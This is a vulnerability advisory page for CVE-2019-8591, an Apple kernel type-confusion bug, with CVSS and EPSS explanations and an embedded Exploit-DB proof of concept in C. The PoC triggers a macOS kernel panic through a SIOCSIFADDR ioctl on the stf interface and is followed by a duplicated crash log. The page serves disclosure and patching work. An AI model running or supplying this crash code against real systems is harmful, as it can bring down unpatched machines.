CVE-2019-8591 : Detail

CVE-2019-8591

7.1
/
High
7.39%V4
Local
2019-12-18
16h33 +00:00
2019-12-18
16h33 +00:00
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CVE Descriptions

A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. An application may be able to cause unexpected system termination or write kernel memory.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.1 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 8.8 AV:N/AC:M/Au:N/C:N/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46891

Publication date : 2019-05-20 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a `struct ifreq` is read into kernel memory and then casted to the incorrect `struct ifaddr` type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from `ifreq` to `ifaddr`, e.g. as it is done in `inctl_ifaddr`. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <unistd.h> #include <net/if.h> #include <string.h> /* # Reproduction Tested on macOS 10.14.3: $ clang -o stf_wild_read stf_wild_read.cc $ ./stf_wild_read # Explanation SIOCSIFADDR is an ioctl that sets the address of an interface. The stf interface ioctls are handled by the stf_ioctl function. The crash occurs in the following case where a `struct ifreq` is read into kernel memory and then casted to the incorrect `struct ifaddr` type. I suspect this ioctl is not intended to be reachable by the user, but is unintentionally exposed without the necessary translation from `ifreq` to `ifaddr`, e.g. as it is done in `inctl_ifaddr`. case SIOCSIFADDR: ifa = (struct ifaddr *)data; if (ifa == NULL) { error = EAFNOSUPPORT; break; } IFA_LOCK(ifa); if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here IFA_UNLOCK(ifa); error = EAFNOSUPPORT; break; } Note that IFA_LOCK is called on user-provided data; it appears that there is an opportunity for memory corruption (a controlled write) when using indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow). # Crash Log panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers: CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0 RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000 RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000 R8: 0xffffff805f9db7f0, R9: 0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000 R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10 RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0 Backtrace (CPU 6), Frame : Return Address 0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa 0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63 0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d 0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0 0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558 0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217 0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214 0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114 0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f 0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8 0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b 0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c 0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16 */ #define IPPROTO_IP 0 int main() { int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP); if (s < 0) { printf("failed\n"); return 1; } struct ifreq ifr = {}; memcpy(ifr.ifr_name, "stf0\0000", 8); int err = ioctl(s, SIOCSIFADDR, (char *)&ifr); close(s); printf("done\n"); return 0; }

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 12.3

Apple>>Mac_os_x >> Version To (excluding) 10.14.5

Apple>>Tvos >> Version To (excluding) 12.3

Apple>>Watchos >> Version To (excluding) 5.2.1

References